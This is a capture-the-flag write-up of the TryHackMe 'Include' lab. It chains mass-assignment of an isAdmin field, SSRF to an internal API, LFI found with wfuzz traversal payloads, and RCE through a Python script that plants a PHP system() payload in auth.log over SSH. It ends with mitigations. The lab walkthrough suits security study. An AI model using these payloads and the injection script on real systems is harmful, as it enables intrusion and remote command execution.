TryHackMe: Include

This challenge guides the player through discovering and exploiting vulnerabilities in web applications to extract sensitive information and achieve remote code execution on the target host.

---

🔍 Step 1 — Reconnaissance (Nmap)

Run the following nmap scan to enumerate open ports and services:

$ nmap -Pn -p- -T4 -sC -sV 10.10.6.195 -oN 10.10.6.195-nmap.txt

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_ssl-date: TLS randomness does not represent time
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: TOP STLS SASL AUTH-RESP-CODE UIDL CAPA PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: ID IMAP4rev1 OK LITERAL+ ENABLE STARTTLS more post-login listed IDLE LOGIN-REFERRALS capabilities Pre-login have SASL-IR LOGINDISABLEDA0001
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: ID IMAP4rev1 OK LITERAL+ ENABLE AUTH=LOGINA0001 more post-login listed IDLE LOGIN-REFERRALS capabilities Pre-login have SASL-IR AUTH=PLAIN
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: TOP USER SASL(PLAIN LOGIN) AUTH-RESP-CODE UIDL CAPA PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
4000/tcp  open  http     Node.js (Express middleware)
|_http-title: Sign In
50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: System Monitoring Portal
MAC Address: 02:06:6D:98:BF:A9 (Unknown)
Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key findings:

• SSH (22/tcp) — OpenSSH 8.2p1
• SMTP (25/tcp) — Postfix
• POP3/IMAP (110/143/993/995) — Dovecot
• Web application on 4000/tcp (Node.js / Express) — presents a login page
• Web application on 50000/tcp (Apache/PHP) — System Monitoring Portal

🔐 Step 2 — Authentication & Local Privilege Escalation (Port 4000)

🔑 Login as guest

The Node/Express app on port 4000 exposes a login form. The default credentials work:

Username: guest
Password: guest

---

Once logged in with the default credentials, the application displays a user dashboard containing the profile section and a list of available friends.

From there, examining the Friend Details object reveals a boolean field isAdmin, which is set to false by default. Two input fields on the profile page appear to be potential entry points for user input manipulation.

Testing the input test/test through the profile form to observe how the application processes user-submitted data.

The Friend Details section updates instantly, confirming that the submitted values are stored and reflected on the page.

📝 Stored Input Form behavior

The profile contains an “activity recommendation” form. Input is persisted and rendered back on the profile. This form behaves like a persistent client-side field directly affecting server state. This stored-input functionality is our first vector for influencing server-side state.

🚨 Elevating the isAdmin flag

By submitting a crafted activity entry with the following fields:

• Activity Type: isAdmin
• Activity Name: true

The isAdmin field flips to true, which in turn reveals administrative UI tabs: API and Settings.

📡 Internal API discovery via admin UI

Explore the newly revealed API tab. It contains a link to an internal API endpoint which returns credential material (base64-encoded).

---

🔎 Step 2 (cont.) — Using the Settings tab to query internal services

The Settings interface allows updating the banner image by URL. This control can be abused to fetch internal endpoints by specifying http://127.0.0.1:5000/internal-api as the banner image URL.

Abuse of banner-image upload to access internal APIs — internal discovery & data exfiltration.

Response returned Base64-encoded credentials, decoded via CyberChef to extract admin keys. Decoding this blob yields plaintext credentials that can be used for lateral movement and privilege escalation.

Decoding with CyberChef yields JSON credentials:

{
  "ReviewAppUsername": "admin",
  "ReviewAppPassword": "admin@!!!",
  "SysMonAppUsername": "administrator",
  "SysMonAppPassword": "<REDACTED>"
}

---

🌐 Step 3 — System Monitoring Portal (Port 50000) & LFI Discovery

Upon further exploration of the web service on port 50000, we discovered a login interface.

✅ Login to the SysMon portal

Navigate to http://10.10.6.195:50000 and authenticate with the harvested credentials:

Username: administrator
Password: <REDACTED>

Successful login yields the first flag.

🔎 This strongly indicates a Local File Inclusion (LFI) vector through the img parameter.

Reviewing the HTML source reveals an image tag like:

<img src="profile.php?img=profile.png" />

Requesting the profile.php endpoint returns binary image data. This structure suggests a local file include mechanism where the img parameter maps to a server-side include.

First, capture the PHPSESSID cookie for use with wfuzz.

🔬 Fuzzing for LFI

Use wfuzz with a dedicated LFI wordlist to brute-force potential file paths via the img parameter. After identifying a viable path pattern, /etc/passwd was readable via the include.

$ wfuzz --hh 0 -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://10.10.6.195:50000/profile.php?img=FUZZ -b "PHPSESSID=vdn2cg51u2hk861jsaj8dvid16"

Sample wfuzz output shows repeated successful hits for path traversal to /etc/passwd.

Target: http://10.10.6.195:50000/profile.php?img=FUZZ
Total requests: 914
==================================================================
ID    Response   Lines      Word         Chars          Request
==================================================================
00327:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00328:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00329:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00330:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00331:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00332:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00333:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00334:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00335:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00336:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00337:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00338:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00339:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//etc/passwd"
00340:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//etc/passwd"

Total time: 0
Processed Requests: 914
Filtered Requests: 900
Requests/sec.: 0

Selected from multiple wfuzz hits, a crafted payload returned HTTP 200 and enabled direct retrieval of /etc/passwd.

Files of interest discovered via LFI include:

• /etc/passwd
• /var/log/auth.log
• /var/log/mail.log

---

💥 Step 4 — Log Injection → Remote Code Execution

This step builds on the LFI vulnerability to achieve full RCE by injecting malicious PHP into log files.

💡 Attack concept

1. Inject a PHP payload into a log file (e.g., via an SSH authentication attempt).
2. Use the previously discovered Local File Inclusion (LFI) to include the log file in a web request, causing PHP to execute the payload and run arbitrary commands.

🛠️ Prepare an SSH-based injection

Save and execute the following Python script to send a controlled payload that will be recorded in /var/log/auth.log:

🧪 Python Injection Script

#!/usr/bin/env python3
import paramiko, socket, sys

if len(sys.argv) < 2:
    print("Usage: python3 ssh_user_inject.py '<command>'")
    sys.exit(1)

target = ("10.10.6.195", 22)
command = sys.argv[1]
payload = f'<?php system("{command}"); ?>'

paramiko.util.log_to_file('/dev/null')

try:
    sock = socket.socket()
    sock.settimeout(6)
    sock.connect(target)
    t = paramiko.Transport(sock)
    t.start_client(timeout=6)
    try:
        t.auth_none(payload)
    except Exception:
        pass
    t.close()
except Exception:
    pass

print(f"Sent payload: {payload}")
print("→ Check /var/log/auth.log via LFI to confirm it's written.")
print("→ Then include it with ?img=/var/log/auth.log&c=<cmd> to execute.")

Make the helper script executable:

$ chmod +x ssh_user_inject.py

Demonstration: running the helper script with the id payload returned the id output, confirming remote code execution via log inclusion.

$ python3 ssh_user_inject.py "id"
Sent payload: <?php system("id"); ?>
→ Check /var/log/auth.log via LFI to confirm it's written.
→ Then include it with ?img=/var/log/auth.log&c=<cmd> to execute.

Using an injected ls -lah revealed directory contents and uncovered a suspicious artifact: 505eb0fb8a9f32853b4d955e1f9123ea.txt.

$ python3 ssh_user_inject.py "ls -lah"
Sent payload: <?php system("ls -lah"); ?>
→ Check /var/log/auth.log via LFI to confirm it's written.
→ Then include it with ?img=/var/log/auth.log&c=<cmd> to execute.

Continuing with an injected payload to read the file returned its contents — the second flag was recovered.

This confirms the complete exploit chain from stored input → internal API access → LFI → RCE.

---

📌 Exploitation chain (summary)

1. Stored-input abuse in the profile to manipulate isAdmin (privilege escalation).
2. Admin-only API endpoint disclosure via banner-image request (server-side internal fetch).
3. Authentication to the System Monitoring portal using harvested credentials.
4. Local File Inclusion (LFI) with path traversal — reads sensitive server files.
5. Log injection via SSH to place PHP payload into auth.log.
6. Include the log file via LFI → remote command execution (RCE) and flag retrieval.

---

🛡️ Mitigation & Recommendations

• Authorization controls: Enforce strict server-side authorization checks before permitting changes to sensitive flags or rendering admin UI. Never rely on client-side checks for privilege elevation.
• Restrict external resource fetches: Disallow arbitrary image URLs in admin UIs. Whitelist approved hosts and prevent server-side fetches to 127.0.0.1, private CIDRs, or internal-only ports.
• Avoid dynamic includes: Do not dynamically include files based on direct user input. If dynamic mapping is needed, map user-supplied keys to server-side filenames using an allowlist and canonicalize the path.
• Treat logs as data, not code: Ensure logs are never interpreted or executed. Sanitize and escape any user-controlled content before logging; disable any template or PHP evaluation on log files.
• Harden authentication & logging: Avoid logging raw authentication metadata that can be abused (e.g., unauthenticated SSH payloads). Limit what gets written to logs, and monitor for unusual entries. Rotate and revoke exposed credentials immediately.
• Egress filtering & network segmentation: Block server-side requests to internal services from admin panels, and segment internal-only services from web-facing hosts.

---

🖼 Screenshots used in this write-up are stored under /images/tryhackme-include/ and can be embedded inline to illustrate each step.
💡 This write-up is a concise technical walkthrough intended for a GitHub Pages portfolio or CTF documentation.
🔐 All credentials, tokens, and sensitive values have been redacted for public sharing.